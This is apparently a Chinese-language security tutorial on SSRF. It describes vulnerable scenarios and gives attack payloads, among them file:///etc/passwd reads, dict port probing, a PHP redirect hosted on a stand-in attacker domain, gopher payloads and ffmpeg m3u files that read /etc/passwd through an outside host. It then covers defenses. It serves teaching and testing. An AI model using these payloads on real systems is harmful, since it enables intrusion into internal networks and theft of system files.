一、什么是ssrf?
SSRF(Server Side Request Forgery),翻译过来就是服务器请求伪造,意味着攻击者可以伪造来自服务器端的请求,并获取攻击者需要获取的数据。
SSRF 漏洞出现的场景
1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
2.远程资源调用功能(调用url,加载图片、在线翻译等)
3.文件上传功能,在上传点修改type=url,将type=file改为type=url,然后将上传内容改为url
4.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
5.Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
6.未公开的api:这类api有时也会有对外发起网络请求或者需要远程下载资源的功能,并且因为此api未公开,所以很有可能会成为安全防护的盲区;
7.对象存储功能:对象存储功能是云上特有的文件存储系统,在对象存储功能中,获取存储桶时,如果此时未做302校验,则可结合cos回源绕过,尝试是否存在SSR;
8.处理图片文件、处理音视频文件、html解析、PDF解析等
常见的攻击向量如下:攻击者向Web服务器发送一个请求 $url 变量,Web服务器将获取该$url变量并获取数据。因此攻击者可以从那里更改$url的值file:///etc/passwd,可以很容易地读取系统中的passwd文件。
我们也可以利用dict协议构造payload查看内网主机上开放的端口及端口上运行服务的版本信息等:
因为我是从docker转发出来的,所以这里显示的是docker的地址
测试一下远程加载,当然,用dnslog去检测也可以,下面我是分享的其他方式。
其实在我们做测试中会遇到很多远程加载的地方,比如图片的加载或者下载,在这些地方正常的去进行ssrf测试可能不会有结果,我们可以利用301,302重定向来欺骗它进行测试,让服务器请求一个你自己vps上的URL,该URL重定向到列入黑名单的地址。例如,您可以在 Web 服务器上托管包含以下内容的文件:
<?php header("location: http://127.0.0.1"); ?>假设把我们恶意加载的文件托管在http://hackssrf.com/1.php上。当你向目标服务器发出请求http://hackssrf.com/1.php时,目标服务器实际上会被重定向到http://127.0.0.1这个地址,这是一个受限制的内部地址。
就像这样
当然不只是http requests,其他的协议一样是可以的,如果在测试的时候http没有反应的话可以换其他的协议进行测试
gopher、fd、expect、ogg、tftp、dict、ftp、ssh2、file、http、https、imap、pop3、mailto、smtp、telnet
在gopher requests中,攻击者有可能使用%0a将内容注入标头中
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
在指定的场景下还可以利用gopher进行很多操作,在github上已经有项目可以直接生成利用的payload。有兴趣的可以找环境去进行研究,测试
https://github.com/tarunkant/Gopherus
在ffmpeg的ssrf可以利用音频、视频文件来构造payload,在测试的时候我们也可以使用这些后缀来进行尝试。
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http:// x.x.x.x1234/123.mp4
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://x.x.x.x1234/123.mp4|file:///etc/passwd
#EXT-X-ENDLIST
我们也可以利用GitHub的项目来生成
https://github.com/padmavathi101/ssrf_video_converter
可以看到音频文件里面插入了很多payload
Ssrf其实也可以用来开通隧道,有兴趣的也可以看一下这两个项目进行研究学习
https://github.com/bcoles/ssrf_proxy
https://github.com/iamultra/ssrfsocks
SSRF改怎么防御?
SSRF的修复比较复杂,需要根据业务实际场景来采取不同的方案,例如前面说到的python中不同url库对url的解析就不一致,所以对于有条件的公司,建立一个代理集群是比较可靠的方案,将类似请求外部url的需求整理出来,分为纯外网集群和内网集群进行代理请求。
如果需要从代码层面来修复的话,需要注意一下几点:
去除url中的特殊字符
判断是否属于内网ip
如果是域名的话,将url中的域名改为ip
请求的url为3中返回的url
请求时设置host header为ip
不跟随30x跳转(跟随跳转需要从1开始重新检测)
其中第一步是为了防止利用url parse的特性造成url解析差异,第三步是为了防止dns rebinding,第5步是为了防止以ip请求时,某些网站无法访问的问题,第6步是为了防止30x跳转进行绕过。
版权归原作者 hhiollk 所有, 如有侵权,请联系我们删除。